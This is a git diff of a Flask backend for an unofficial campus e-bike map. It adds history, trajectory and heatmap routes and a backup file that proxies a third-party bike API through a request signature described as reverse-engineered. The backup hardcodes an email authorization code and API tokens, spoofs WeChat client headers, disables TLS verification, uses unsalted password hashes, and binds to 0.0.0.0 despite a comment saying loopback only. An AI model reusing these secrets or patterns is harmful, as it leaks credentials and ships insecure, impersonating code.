说明:analysis.html 调用 /api/history/* 系列接口,但这些路由此前从未实现,导致 +# 数据分析页/批量车辆轨迹全部 404。以下实现与前端 analysis.html 期望的 JSON 结构对齐。 + +# 状态分类(与 map.html / analysis.html 图例一致) +_HISTORY_STATES = ["available", "used", "locked", "reserved", "low"] + + +def _classify_bike_state(state, status, electric): + try: + state = int(state) + except (TypeError, ValueError): + state = 1 + try: + status = int(status) + except (TypeError, ValueError): + status = 1 + try: + electric = float(electric) + except (TypeError, ValueError): + electric = 100.0 + if state == 10 or electric < 20: + return "low" + if state == 4: + return "locked" + if state == 2: + return "reserved" + if state == 1 and status == 1: + return "used" + return "available" + + +@app.route("/api/history/stats") +def api_history_stats(): + """统计概览。days 控制时段分布窗口(1..HISTORY_RETENTION_DAYS,默认 1 天)。 + + days<=1 时按小时分桶(24 桶);>1 天时按天分桶(days 桶), + 前端图用同一个 hourly_distribution 结构渲染,只是桶的 key 含义变为「第 N 天前」。 + """ + try: + days = max(1, min(HISTORY_RETENTION_DAYS, int(request.args.get("days", 1)))) + except (TypeError, ValueError): + days = 1 + conn = get_db() + cursor = conn.cursor() + + # 全量统计 + cursor.execute("SELECT COUNT(DISTINCT bike_code) FROM bike_history") + bike_count = cursor.fetchone()[0] or 0 + cursor.execute("SELECT COUNT(*), MIN(recorded_at), MAX(recorded_at) FROM bike_history") + row = cursor.fetchone() + total_points = row[0] or 0 + earliest, latest = row[1], row[2] + + # 状态分布:最近 1 小时内每辆车的最新一条记录 + status_dist = {s: 0 for s in _HISTORY_STATES} + cursor.execute(""" + SELECT h.bike_code, h.state, h.status, h.electric + FROM bike_history h + JOIN ( + SELECT bike_code, MAX(recorded_at) AS m + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', '-1 hour') + GROUP BY bike_code + ) x ON h.bike_code = x.bike_code AND h.recorded_at = x.m + """) + for r in cursor.fetchall(): + status_dist[_classify_bike_state(r["state"], r["status"], r["electric"])] += 1 + + # 时段分布:每桶内处于各状态的不同车辆数(去重) + # days=1 → 按小时 24 桶;days>1 → 按天 days 桶(桶 key = 距今天数) + if days <= 1: + cursor.execute(""" + SELECT strftime('%H', recorded_at) AS h, bike_code, state, status, electric + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', '-24 hours') + """) + rows = cursor.fetchall() + bucket_key_fn = lambda r: int(r["h"]) # noqa: E731 + bucket_count = 24 + bucket_label = lambda i: "%02d" % i # noqa: E731 + else: + cursor.execute(""" + SELECT CAST(julianday(datetime('now', '+8 hours')) - + julianday(recorded_at) AS INTEGER) AS d, + bike_code, state, status, electric + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', ?) + """, (f"-{days} days",)) + rows = cursor.fetchall() + # 桶序 = 距今天数:0=今天、1=昨天、…、days-1=最老(与前端"今天/昨天/N天前"一致) + bucket_key_fn = lambda r: min(days - 1, max(0, int(r["d"] or 0))) # noqa: E731 + bucket_count = days + bucket_label = lambda i: str(i) # noqa: E731 + + seen = set() + hourly_raw = {} + for r in rows: + key = (r["bike_code"], bucket_key_fn(r), + _classify_bike_state(r["state"], r["status"], r["electric"])) + if key in seen: + continue + seen.add(key) + st = key[2] + hour_bucket = hourly_raw.setdefault(key[1], {}) + hour_bucket[st] = hour_bucket.get(st, 0) + 1 + + hourly_distribution = {} + for i in range(bucket_count): + d = hourly_raw.get(i, {}) + hourly_distribution[bucket_label(i)] = {s: d.get(s, 0) for s in _HISTORY_STATES} + + # 每桶平均(供统计卡片展示) + hourly_avg = {} + for s in _HISTORY_STATES: + vals = [hourly_distribution[bucket_label(i)][s] for i in range(bucket_count)] + hourly_avg[s] = round(sum(vals) / float(bucket_count), 1) + + # 活跃车辆 Top10:窗口内处于“使用中”的次数 + cursor.execute(""" + SELECT bike_code, COUNT(*) AS cnt + FROM bike_history + WHERE state = 1 AND status = 1 + AND recorded_at >= datetime('now', '+8 hours', ?) + GROUP BY bike_code + ORDER BY cnt DESC + LIMIT 10 + """, (f"-{days} days",)) + top_bikes = [{"bike_code": r["bike_code"], "point_count": r["cnt"]} for r in cursor.fetchall()] + + conn.close() + return jsonify({ + "rtn_code": 0, + "data": { + "days": days, + "total": {"bike_count": bike_count, "total_points": total_points, + "earliest": earliest, "latest": latest}, + "status_distribution": status_dist, + "hourly_distribution": hourly_distribution, + "hourly_avg": hourly_avg, + "top_bikes": top_bikes, + } + }) + + +@app.route("/api/history/bikes") +def api_history_bikes(): + """列出保留窗口内有历史点的车。""" + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT bike_code, COUNT(*) AS point_count + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', ?) + GROUP BY bike_code + ORDER BY point_count DESC + LIMIT 800 + """, (f"-{HISTORY_RETENTION_DAYS} days",)) + rows = [dict(r) for r in cursor.fetchall()] + conn.close() + return jsonify({"rtn_code": 0, "data": { + "days": HISTORY_RETENTION_DAYS, "bikes": rows}}) + + +@app.route("/api/history/trajectory") +def api_history_trajectory(): + """单辆车轨迹回放:points 数组,字段与 analysis.html 单车模式读取一致。""" + bike_code = (request.args.get("bike_code") or "").strip() + # 轨迹窗口与库内保留策略一致 + try: + days = max(1, min(HISTORY_RETENTION_DAYS, int(request.args.get("days", 3)))) + except (TypeError, ValueError): + days = 3 + if not bike_code: + return jsonify({"rtn_code": 400, "message": "缺少 bike_code"}) + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT latitude, longitude, state, status, electric, recorded_at + FROM bike_history + WHERE bike_code = ? AND recorded_at >= datetime('now', '+8 hours', ?) + ORDER BY recorded_at ASC + LIMIT 3000 + """, (bike_code, f"-{days} days")) + points = [dict(r) for r in cursor.fetchall()] + conn.close() + # truncated=true 表示窗口内点位超过 LIMIT 被截断(前端提示) + return jsonify({"rtn_code": 0, "data": { + "bike_code": bike_code, "days": days, + "truncated": len(points) >= 3000, "points": points}}) + + +@app.route("/api/history/all_trajectory") +def api_history_all_trajectory(): + """多车(全部车辆)轨迹:trajectories 为 {bike_code: [ {lat,lng,time,state,status,electric}, ... ]}。""" + try: + days = max(1, min(HISTORY_RETENTION_DAYS, int(request.args.get("days", 1)))) + except (TypeError, ValueError): + days = 1 + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT bike_code, latitude, longitude, state, status, electric, recorded_at + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', ?) + ORDER BY recorded_at ASC + LIMIT 200000 + """, (f"-{days} days",)) + trajectories = {} + fetched = 0 + for r in cursor.fetchall(): + fetched += 1 + code = r["bike_code"] + trajectories.setdefault(code, []).append({ + "lat": r["latitude"], "lng": r["longitude"], + "time": r["recorded_at"], "state": r["state"], + "status": r["status"], "electric": r["electric"], + }) + conn.close() + # 截断提示:行数达到 LIMIT 说明大概率还有更多数据没取出来 + return jsonify({"rtn_code": 0, "data": { + "days": days, "truncated": fetched >= 200000, + "trajectories": trajectories}}) + + +@app.route("/api/history/heatmap") +def api_history_heatmap(): + """热力图(服务端网格聚合):bounds / points[{lat,lng,count}] / max_count / grid_count / total_points。""" + step = 0.0012 # 约 130m 网格 + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT latitude, longitude + FROM bike_history + WHERE recorded_at >= datetime('now', '+8 hours', '-48 hours') + """) + cells = {} + total_points = 0 + for r in cursor.fetchall(): + lat = r["latitude"] + lng = r["longitude"] + if lat is None or lng is None: + continue + key = (round(float(lat) / step) * step, round(float(lng) / step) * step) + cells[key] = cells.get(key, 0) + 1 + total_points += 1 + conn.close() + + points = [{"lat": k[0], "lng": k[1], "count": v} for k, v in cells.items()] + max_count = max((p["count"] for p in points), default=1) + if points: + bounds = { + "min_lat": min(p["lat"] for p in points), + "max_lat": max(p["lat"] for p in points), + "min_lng": min(p["lng"] for p in points), + "max_lng": max(p["lng"] for p in points), + } + else: + bounds = None + return jsonify({"rtn_code": 0, "data": { + "bounds": bounds, "points": points, + "max_count": max_count, "grid_count": len(points), + "total_points": total_points, + }}) + + +# ========== 启动 ========== +if __name__ == "__main__": + from pathlib import Path + + # 初始化数据库 + init_db() + try: + backup_database() + print("[数据备份] 启动备份完成") + except Exception as e: + print(f"[数据备份] 失败: {e}") + + # 恢复未过期的计时器 + restore_active_timers() + + # 启动用户订单检测 + start_all_order_checkers() + + # 启动数据采集 + start_snapshot_scheduler() + + # 启动订阅提醒调度(定时查看教学楼附近车辆 → 邮件) + from subscribe import start_subscribe_scheduler + start_subscribe_scheduler() + + # 启动凭据到期告警调度(1天/1小时/已过期 三级) + from alerts import start_alert_scheduler + start_alert_scheduler() + + PORT = 98 + # 只监听本机回环:对外统一走 nginx 的 HTTPS(同机回环转发到本端口)。 + # 绑定 0.0.0.0 会让明文 HTTP 绕过 nginx 直接暴露,token/凭据可被局域网窃听。 + print(f"[启动] HTTP 服务: http://127.0.0.1:{PORT} (请由 nginx 反代对外提供 HTTPS)") + app.run(host=os.environ.get("XBCR_HOST","0.0.0.0"), port=int(os.environ.get("XBCR_PORT",PORT)), debug=False) diff --git a/app.py.bak b/app.py.bak new file mode 100644 index 0000000..4f6589a --- /dev/null +++ b/app.py.bak @@ -0,0 +1,2848 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +小白超人电动车地图 - Flask 后端 +代理接口请求,解决跨域和签名问题 +""" + +import sys +import io +sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", line_buffering=True) +sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", line_buffering=True) + +from flask import Flask, jsonify, request, render_template, make_response, Response +import requests +import gzip +import json +import time +import hashlib +import hmac +import secrets +import os +import re +import smtplib +import threading +import uuid +import asyncio +import aiohttp +from email.mime.text import MIMEText +from email.header import Header +from urllib.parse import urlencode +from pathlib import Path +import sqlite3 + +app = Flask(__name__, static_folder="static") + +# ========== 并行寻车任务管理 ========== +ring_tasks: dict = {} +_ring_lock = threading.Lock() + +SEARCH_BIKE_URL = "https://bike.sdlongren.com/project/search_bicycle" +SEARCH_HEADERS = { + "Host": "bike.sdlongren.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Content-Type": "application/json", + "Accept": "*/*", +} + +def get_signature_headers(): + """生成签名头""" + timestamp = str(int(time.time())) + token_id = "1356419" # 默认token + sign = hashlib.sha1(f"{timestamp}{token_id}".encode()).hexdigest() + return { + "hsf-x-timestamp": timestamp, + "hsf-x-tokenid": token_id, + "hsf-x-signature": sign, + "platform": "xiaobai", + } + +async def ring_single_bike_async(session, bike_code, school_id=10): + """单次寻车请求(异步)""" + try: + headers = {**SEARCH_HEADERS, **get_signature_headers()} + async with session.post( + SEARCH_BIKE_URL, + json={"code": bike_code, "school_id": school_id}, + headers=headers, + timeout=aiohttp.ClientTimeout(total=5) + ) as resp: + data = await resp.json() + return data.get("rtn_code") == 0 or data.get("success") is True + except Exception: + return False + +def run_ring_task(task_id: str): + """后台运行寻车任务""" + global ring_tasks + task = ring_tasks.get(task_id) + if not task: + return + + bikes = task["bikes"] + total = len(bikes) + task["total"] = total + + # 20 并发,每批间隔 0.1 秒 + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + connector = aiohttp.TCPConnector(limit=20, limit_per_host=20, loop=loop) + + try: + async def run_session(): + semaphore = asyncio.Semaphore(20) # 控制并发数 + + async with aiohttp.ClientSession(connector=connector) as session: + async def ring_one(idx, code): + async with semaphore: + if task["cancelled"]: + return False + result = await ring_single_bike_async(session, code, 10) + with _ring_lock: + task["done"] += 1 + if result: + task["success"] += 1 + else: + task["failed"] += 1 + task["last_update"] = time.time() + return result + + # 每批 20 个请求,完成后等 0.1 秒再发下一批 + batch_size = 20 + for i in range(0, len(bikes), batch_size): + if task["cancelled"]: + break + batch = bikes[i:i + batch_size] + await asyncio.gather( + *[ring_one(i + j, b["code"]) for j, b in enumerate(batch)], + return_exceptions=True + ) + await asyncio.sleep(0.1) + + loop.run_until_complete(run_session()) + finally: + with _ring_lock: + task["status"] = "completed" if not task["cancelled"] else "cancelled" + task["done"] = total + loop.close() + +@app.route("/api/ring_all", methods=["POST"]) +def api_ring_all(): + global ring_tasks + data = request.get_json() or {} + codes = data.get("codes", []) + if isinstance(codes, str): + codes = [codes] + + if not codes: + return jsonify({"rtn_code": 400, "message": "缺少 codes 参数"}) + + # 记录寻车铃操作 + user = get_current_user() + user_name = get_user_display_name(user["id"]) if user else "未登录" + print(f"[操作日志] 寻车铃: codes={codes}, count={len(codes)}, user={user_name}") + + task_id = str(uuid.uuid4())[:8] + task = { + "status": "running", + "total": len(codes), + "done": 0, + "success": 0, + "failed": 0, + "bikes": [{"code": c} for c in codes], # 兼容内部格式 + "cancelled": False, + "created_at": time.time(), + "last_update": time.time(), + } + with _ring_lock: + ring_tasks[task_id] = task + + # 后台线程执行 + t = threading.Thread(target=run_ring_task, args=(task_id,), daemon=True) + t.start() + + return jsonify({ + "rtn_code": 0, + "task_id": task_id, + "total": len(codes), + "message": f"任务已启动,共 {len(codes)} 辆车" + }) + +@app.route("/api/ring_status/") +def api_ring_status(task_id): + """查询任务进度""" + with _ring_lock: + task = ring_tasks.get(task_id) + if not task: + return jsonify({"rtn_code": 404, "message": "任务不存在"}) + return jsonify({ + "rtn_code": 0, + "status": task["status"], + "total": task["total"], + "done": task["done"], + "success": task["success"], + "failed": task["failed"], + }) + +@app.route("/api/ring_cancel/", methods=["POST"]) +def api_ring_cancel(task_id): + """取消任务""" + with _ring_lock: + task = ring_tasks.get(task_id) + if not task: + return jsonify({"rtn_code": 404, "message": "任务不存在"}) + if task["status"] != "running": + return jsonify({"rtn_code": 400, "message": f"任务已是 {task['status']} 状态,无法取消"}) + task["cancelled"] = True + task["status"] = "cancelling" + return jsonify({"rtn_code": 0, "message": "取消请求已发送"}) + +@app.route("/api/ring_progress/") +def api_ring_progress(task_id): + """SSE 流式推送进度""" + def generate(): + last_done = -1 + while True: + with _ring_lock: + task = ring_tasks.get(task_id) + if not task: + yield f"data: {json.dumps({'type':'error','message':'任务不存在'})}\n\n" + break + if task["done"] != last_done or task["status"] in ("completed", "cancelled"): + last_done = task["done"] + payload = json.dumps({ + 'type': 'progress', + 'status': task['status'], + 'total': task['total'], + 'done': task['done'], + 'success': task['success'], + 'failed': task['failed'], + }) + yield f"data: {payload}\n\n" + if task["status"] in ("completed", "cancelled"): + break + time.sleep(0.3) + yield f"data: {json.dumps({'type':'done'})}\n\n" + + return Response(generate(), mimetype="text/event-stream") + +@app.route("/api/ring_status_clear/", methods=["POST"]) +def api_ring_status_clear(task_id): + """清除已完成的任务记录""" + with _ring_lock: + if task_id in ring_tasks: + del ring_tasks[task_id] + return jsonify({"rtn_code": 0}) + +# ========== SMTP 邮件配置 ========== +SMTP_HOST = "smtp.qq.com" +SMTP_PORT = 587 +SMTP_USER = "3146527494@qq.com" +SMTP_PASS = "pqnwoqweccyddefe" # QQ邮箱授权码 + +def send_email(to_email: str, subject: str, body: str) -> bool: + """发送邮件,返回是否成功""" + try: + msg = MIMEText(body, "plain", "utf-8") + msg["From"] = SMTP_USER + msg["To"] = to_email + msg["Subject"] = Header(subject, "utf-8") + + server = smtplib.SMTP(SMTP_HOST, SMTP_PORT, timeout=10) + server.starttls() + server.login(SMTP_USER, SMTP_PASS) + server.sendmail(SMTP_USER, [to_email], msg.as_string()) + server.quit() + print(f"[邮件发送成功] 收件: {to_email} | 主题: {subject}") + return True + except Exception as e: + print(f"[邮件发送失败] 收件: {to_email} | 错误: {e}") + return False + +# ========== 数据库配置 ========== +DB_PATH = Path(__file__).parent / "users.db" + +def get_db(): + """获取数据库连接""" + conn = sqlite3.connect(str(DB_PATH)) + conn.row_factory = sqlite3.Row + return conn + +def init_db(): + """初始化数据库""" + conn = get_db() + cursor = conn.cursor() + + # 用户表 + cursor.execute(""" + CREATE TABLE IF NOT EXISTS users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + email TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + wx_signature TEXT, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + + # 补充老表缺失的字段 + try: + cursor.execute("ALTER TABLE users ADD COLUMN wx_signature TEXT") + except sqlite3.OperationalError: + pass # 列已存在 + try: + cursor.execute("ALTER TABLE users ADD COLUMN token_id TEXT DEFAULT '1291378'") + except sqlite3.OperationalError: + pass # 列已存在 + + # Session表 + cursor.execute(""" + CREATE TABLE IF NOT EXISTS sessions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL, + token TEXT UNIQUE NOT NULL, + expires_at TIMESTAMP NOT NULL, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (user_id) REFERENCES users(id) + ) + """) + + # 提醒表(预留) + cursor.execute(""" + CREATE TABLE IF NOT EXISTS reminders ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL, + bike_code TEXT NOT NULL, + email TEXT NOT NULL, + duration INTEGER NOT NULL, + start_time TIMESTAMP, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (user_id) REFERENCES users(id) + ) + """) + + # 用车计时表 + cursor.execute(""" + CREATE TABLE IF NOT EXISTS rentals ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + order_id TEXT, + bike_code TEXT NOT NULL, + email TEXT NOT NULL, + user_id INTEGER, + start_time TIMESTAMP NOT NULL, + end_time TIMESTAMP NOT NULL, + expired INTEGER DEFAULT 0, + source TEXT DEFAULT 'reminder', + notified_10 INTEGER DEFAULT 0, + notified_5 INTEGER DEFAULT 0, + notified_3 INTEGER DEFAULT 0, + notified_2 INTEGER DEFAULT 0, + notified_1 INTEGER DEFAULT 0, + notified_0 INTEGER DEFAULT 0, + created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + + # 补充缺失列(老表迁移) + for col in ["duration", "notified_10", "notified_5", "notified_3", "notified_2", "notified_1", "notified_0", "user_id"]: + try: + if col == "user_id": + cursor.execute(f"ALTER TABLE rentals ADD COLUMN {col} INTEGER") + else: + cursor.execute(f"ALTER TABLE rentals ADD COLUMN {col} INTEGER DEFAULT 0") + except sqlite3.OperationalError: + pass # 列已存在 + + # 车辆历史位置表(用于轨迹和分布分析) + cursor.execute(""" + CREATE TABLE IF NOT EXISTS bike_history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + bike_code TEXT NOT NULL, + latitude REAL NOT NULL, + longitude REAL NOT NULL, + status INTEGER DEFAULT 1, + state INTEGER DEFAULT 1, + electric REAL DEFAULT 100, + recorded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + UNIQUE(bike_code, recorded_at) + ) + """) + # 补充老表缺失的字段(迁移兼容) + for col_def in [("state", "INTEGER DEFAULT 1"), ("electric", "REAL DEFAULT 100")]: + try: + cursor.execute(f"ALTER TABLE bike_history ADD COLUMN {col_def[0]} {col_def[1]}") + except sqlite3.OperationalError: + pass # 列已存在 + + # 创建索引加速查询 + cursor.execute("CREATE INDEX IF NOT EXISTS idx_bike_history_code ON bike_history(bike_code)") + cursor.execute("CREATE INDEX IF NOT EXISTS idx_bike_history_time ON bike_history(recorded_at)") + + # 用户访问位置表(记录小白超人访问时的即时位置) + cursor.execute(""" + CREATE TABLE IF NOT EXISTS user_visits ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + email TEXT, + latitude REAL NOT NULL, + longitude REAL NOT NULL, + source TEXT DEFAULT 'web', + recorded_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP + ) + """) + cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_visits_email ON user_visits(email)") + cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_visits_time ON user_visits(recorded_at)") + + # 数据库迁移:添加字段(如果不存在) + try: + cursor.execute("ALTER TABLE rentals ADD COLUMN source TEXT DEFAULT 'reminder'") + print("[数据库迁移] rentals.source 字段已添加") + except sqlite3.OperationalError: + pass # 字段已存在 + + try: + cursor.execute("ALTER TABLE rentals ADD COLUMN order_id TEXT") + print("[数据库迁移] rentals.order_id 字段已添加") + except sqlite3.OperationalError: + pass # 字段已存在 + + conn.commit() + conn.close() + +# 启动时初始化数据库 +init_db() + +# ========== Session 配置 ========== +SESSION_EXPIRY_DAYS = 30 + +def hash_password(password: str) -> str: + """密码哈希""" + return hashlib.sha256(password.encode()).hexdigest() + +def generate_token() -> str: + """生成随机token""" + return secrets.token_urlsafe(32) + +def get_current_user(): + """获取当前登录用户""" + token = request.headers.get("Authorization", "").replace("Bearer ", "") + if not token: + return None + + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT users.id, users.email FROM sessions + JOIN users ON sessions.user_id = users.id + WHERE sessions.token = ? AND sessions.expires_at > datetime('now') + """, (token,)) + user = cursor.fetchone() + conn.close() + + return dict(user) if user else None + +def login_required(): + """验证登录状态""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}), 401 + return user + +# ========== 配置 ========== +#这里 +BASE_URL = "https://bike.sdlongren.com" +HEADERS = { + "Host": "bike.sdlongren.com", + "hsf-x-signature": "db057ef3a4dfa497c918996448ab05226e198371", + "hsf-x-timestamp": "", + "hsf-x-tokenid": "1499773", + "xweb_xhr": "1", + "platform": "xiaobai", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518", + "content-type": "application/json", + "accept": "*/*", + "accept-language": "*", + "sec-fetch-site": "cross-site", + "sec-fetch-mode": "cors", + "sec-fetch-dest": "empty", + "referer": "https://servicewechat.com/wx10426ca961518f43/98/page-frame.html", +} + + +# ========== 签名算法(从 JS 逆向提取) ========== +def compute_signature(token_id: str, timestamp: str, method: str, path: str, params: dict = None) -> str: + """ + 签名算法: + 1. 将 params 按 key 排序后拼接 key=value,用 & 连接 + 2. 拼接字符串: token_id + method + path + timestamp + params_str + 3. 用 SHA256 HMAC 加密,取前40位 + """ + params_str = "" + if params: + sorted_params = sorted(params.items()) + params_str = "&".join(f"{k}={v}" for k, v in sorted_params) + + raw = f"{token_id}{method}{path}{timestamp}{params_str}" + return hashlib.sha256(raw.encode()).hexdigest()[:40] + + +def get_headers(timestamp: str = None) -> dict: + """生成带时间戳的请求头""" + ts = timestamp or str(int(time.time())) + headers = HEADERS.copy() + headers["hsf-x-timestamp"] = ts + return headers + + +def request_api(method: str, path: str, params: dict = None, data: dict = None) -> dict: + """ + 通用 API 请求 + - method: GET/POST + - path: /project/bicycle + - params: GET 参数 + - data: POST body + """ + url = f"{BASE_URL}{path}" + headers = get_headers() + ts = headers["hsf-x-timestamp"] + + if method.upper() == "GET": + sig = compute_signature( + HEADERS["hsf-x-tokenid"], ts, "GET", path, + params if params else {} + ) + else: + body_str = json.dumps(data) if data else "" + sig = compute_signature( + HEADERS["hsf-x-tokenid"], ts, "POST", path, + None + ) + # POST 签名额外加 body + raw = f"{HEADERS['hsf-x-tokenid']}POST{path}{ts}{body_str}" + sig = hashlib.sha256(raw.encode()).hexdigest()[:40] + + headers["hsf-x-signature"] = sig + + try: + if method.upper() == "GET": + resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False) + else: + resp = requests.post(url, json=data, headers=headers, timeout=10, verify=False) + + content = resp.content + # 尝试解压 gzip + if resp.headers.get("Content-Encoding") == "gzip" or content[:2] == b'\x1f\x8b': + try: + content = gzip.decompress(content) + except Exception: + pass + + return json.loads(content) + except Exception as e: + return {"error": str(e), "rtn_code": -1} + + +# ========== 路由 ========== + +@app.route("/") +def index(): + """首页,重定向到地图""" + return render_template("map.html") + + +@app.route("/ring_progress.html") +def ring_progress(): + """寻车进度页面""" + return render_template("ring_progress.html") + + +@app.route("/analysis.html") +def analysis_page(): + """数据分析页面""" + return render_template("analysis.html") + + +@app.route("/api/map") +def api_map(): + """ + GET /api/map?type=1 + 获取车辆地图数据 + type: 1=单车, 3=电动车, 6=助力车 + """ + bike_type = request.args.get("type", "1") + result = request_api("GET", "/project/map", params={"type": bike_type}) + + return jsonify(result) + + +@app.route("/api/bicycle", methods=["GET", "POST"]) +def api_bicycle(): + """ + POST /api/bicycle + 扫码查询车辆信息 + body: {"code": "51287"} + """ + data = request.get_json() or {} + code = data.get("code", "") + if not code: + return jsonify({"rtn_code": 400, "message": "缺少 code 参数"}) + + # 记录用户扫码操作 + user = get_current_user() + user_name = get_user_display_name(user["id"]) if user else "未登录" + print(f"[操作日志] 扫车牌号查询: code={code}, user={user_name}") + + result = request_api("POST", "/project/bicycle", data={"code": code}) + return jsonify(result) + + +@app.route("/api/find_bike", methods=["POST"]) +def api_find_bike(): + """ + POST /api/find_bike + 寻车接口 + body: {"code": "51287", "school_id": 10} + """ + data = request.get_json() or {} + code = data.get("code", "") + school_id = data.get("school_id", 10) # 默认山东管理学院 + if not code: + return jsonify({"rtn_code": 400, "message": "缺少 code 参数"}) + + # 记录寻车操作 + user = get_current_user() + user_name = get_user_display_name(user["id"]) if user else "未登录" + print(f"[操作日志] 寻车: code={code}, school_id={school_id}, user={user_name}") + + result = request_api("POST", "/project/search_bicycle", data={"code": code, "school_id": school_id}) + return jsonify(result) + + +@app.route("/api/config") +def api_config(): + """返回地图初始配置(用于前端初始化)""" + # 先获取地图数据以获取中心点 + result = request_api("GET", "/project/map", params={"type": "1"}) + if result.get("rtn_code") == 0 and result.get("data"): + d = result["data"] + return jsonify({ + "center_lat": d.get("centerLatitude", 36.67), + "center_lng": d.get("centerLongitude", 117.12), + "scale": d.get("mapScale", 16), + "school_name": d.get("schoolName", ""), + "token_id": HEADERS["hsf-x-tokenid"], + }) + return jsonify({ + "center_lat": 36.529296, + "center_lng": 116.782679, + "scale": 17, + "school_name": "山东管理学院", + "token_id": HEADERS["hsf-x-tokenid"], + }) + + +# ========== 用户认证 API ========== + +@app.route("/api/auth/register", methods=["POST"]) +def register(): + """ + 注册 + body: {"email": "xxx@xxx.com", "password": "xxx", "wx_signature": "可选", "token_id": "可选"} + """ + data = request.get_json() or {} + email = data.get("email", "").strip().lower() + password = data.get("password", "") + wx_signature = data.get("wx_signature", "").strip() + token_id = data.get("token_id", "1291378").strip() + + # 验证邮箱格式 + if not re.match(r'^[\w\.-]+@[\w\.-]+\.\w+$', email): + return jsonify({"rtn_code": 400, "message": "邮箱格式不正确"}) + + # 验证密码长度 + if len(password) < 6: + return jsonify({"rtn_code": 400, "message": "密码至少6位"}) + + conn = get_db() + cursor = conn.cursor() + + # 检查邮箱是否已注册 + cursor.execute("SELECT id FROM users WHERE email = ?", (email,)) + if cursor.fetchone(): + conn.close() + return jsonify({"rtn_code": 400, "message": "该邮箱已注册"}) + + # 创建用户(可选微信签名和token_id) + password_hash = hash_password(password) + cursor.execute( + "INSERT INTO users (email, password_hash, wx_signature, token_id) VALUES (?, ?, ?, ?)", + (email, password_hash, wx_signature if wx_signature else None, token_id if token_id else "1291378") + ) + user_id = cursor.lastrowid + + # 创建session + session_token = generate_token() + cursor.execute(""" + INSERT INTO sessions (user_id, token, expires_at) + VALUES (?, ?, datetime('now', '+30 days')) + """, (user_id, session_token)) + + conn.commit() + conn.close() + + return jsonify({ + "rtn_code": 0, + "message": "注册成功", + "data": { + "token": session_token, + "email": email + } + }) + + # 如果注册时提供了微信凭据,启动订单检测 + if wx_signature: + start_user_order_checker(user_id) + + +@app.route("/api/auth/login", methods=["POST"]) +def login(): + """ + 登录 + body: {"email": "xxx@xxx.com", "password": "xxx"} + """ + data = request.get_json() or {} + email = data.get("email", "").strip().lower() + password = data.get("password", "") + + conn = get_db() + cursor = conn.cursor() + + # 查找用户 + cursor.execute( + "SELECT id, email, password_hash FROM users WHERE email = ?", + (email,) + ) + user = cursor.fetchone() + + if not user or user["password_hash"] != hash_password(password): + conn.close() + print(f"[操作日志] 登录失败: email={email}, reason=邮箱或密码错误") + return jsonify({"rtn_code": 400, "message": "邮箱或密码错误"}) + + # 删除旧session + cursor.execute("DELETE FROM sessions WHERE user_id = ?", (user["id"],)) + + # 创建新session + token = generate_token() + cursor.execute(""" + INSERT INTO sessions (user_id, token, expires_at) + VALUES (?, ?, datetime('now', '+30 days')) + """, (user["id"], token)) + + conn.commit() + conn.close() + + print(f"[操作日志] 用户登录: email={email}, user_id={user['id']}") + return jsonify({ + "rtn_code": 0, + "message": "登录成功", + "data": { + "token": token, + "email": email + } + }) + + +@app.route("/api/auth/logout", methods=["POST"]) +def logout(): + """登出""" + token = request.headers.get("Authorization", "").replace("Bearer ", "") + if not token: + return jsonify({"rtn_code": 0, "message": "已登出"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("DELETE FROM sessions WHERE token = ?", (token,)) + conn.commit() + conn.close() + + return jsonify({"rtn_code": 0, "message": "已登出"}) + + +@app.route("/api/auth/profile", methods=["GET"]) +def get_profile(): + """获取用户基本信息(包含token)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT wx_signature, token_id FROM users WHERE id = ?", (user["id"],)) + row = cursor.fetchone() + conn.close() + + token_id = row["token_id"] if row else "1291378" + wx_signature = row["wx_signature"] if row else None + + return jsonify({ + "rtn_code": 0, + "data": { + "email": user["email"], + "token": wx_signature, + "token_id": token_id, + "has_auth": bool(wx_signature and token_id) # 是否已配置凭据 + } + }) + + +@app.route("/api/auth/user_info", methods=["GET"]) +def get_user_info(): + """获取用户真实信息(姓名、已付钱、省的钱)- 需要有凭据""" + user = get_current_user() + if not user: + return 